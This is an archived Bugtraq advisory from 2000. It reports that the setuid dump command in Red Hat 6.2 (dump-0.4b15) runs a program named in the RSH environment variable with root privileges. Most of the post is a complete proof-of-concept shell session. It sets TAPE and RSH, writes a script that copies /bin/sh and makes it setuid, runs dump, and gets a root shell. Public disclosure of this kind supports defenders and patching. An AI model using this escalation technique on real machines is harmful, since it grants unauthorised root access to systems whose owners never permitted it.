[17430] in bugtraq
Redhat 6.2 dump command executes external program with suid
daemon@ATHENA.MIT.EDU (JW Oh)
Tue Oct 31 13:07:28 2000
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Message-ID: <Pine.LNX.4.10.10010311436050.31338-100000@ivntech.com>
Date: Tue, 31 Oct 2000 14:37:35 +0900
Reply-To: mat@IVNTECH.COM
From: JW Oh <mat@IVNTECH.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
1. Problem:
Linux dump command executes external program with suid priviledge.
2. Tested Version
dump-0.4b15
3. Example
[mat@localhost mat]$ export TAPE=garbage:garbage
[mat@localhost mat]$ export RSH=/home/mat/execute_this
[mat@localhost mat]$ cat > /home/mat/execute_this
#!/bin/sh
cp /bin/sh /home/mat/sh
chmod 4755 /home/mat/sh
[mat@localhost mat]$ chmod 755 /home/mat/execute_this
[mat@localhost mat]$ /sbin/dump -0 /
DUMP: Connection to garbage established.
DUMP: Date of this level 0 dump: Tue Oct 31 14:38:00 2000
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/hda2 (/) to garbage on host garbage
DUMP: Label: none
/dev/hda2: Permission denied while opening filesystem
[mat@localhost mat]$ ls -la /home/mat/sh
-rwsr-xr-x 1 root tty 316848 Oct 31 14:38 /home/mat/sh
[mat@localhost mat]$ /home/mat/sh
bash# id
uid=500(mat) gid=500(mat) euid=0(root) groups=500(mat)
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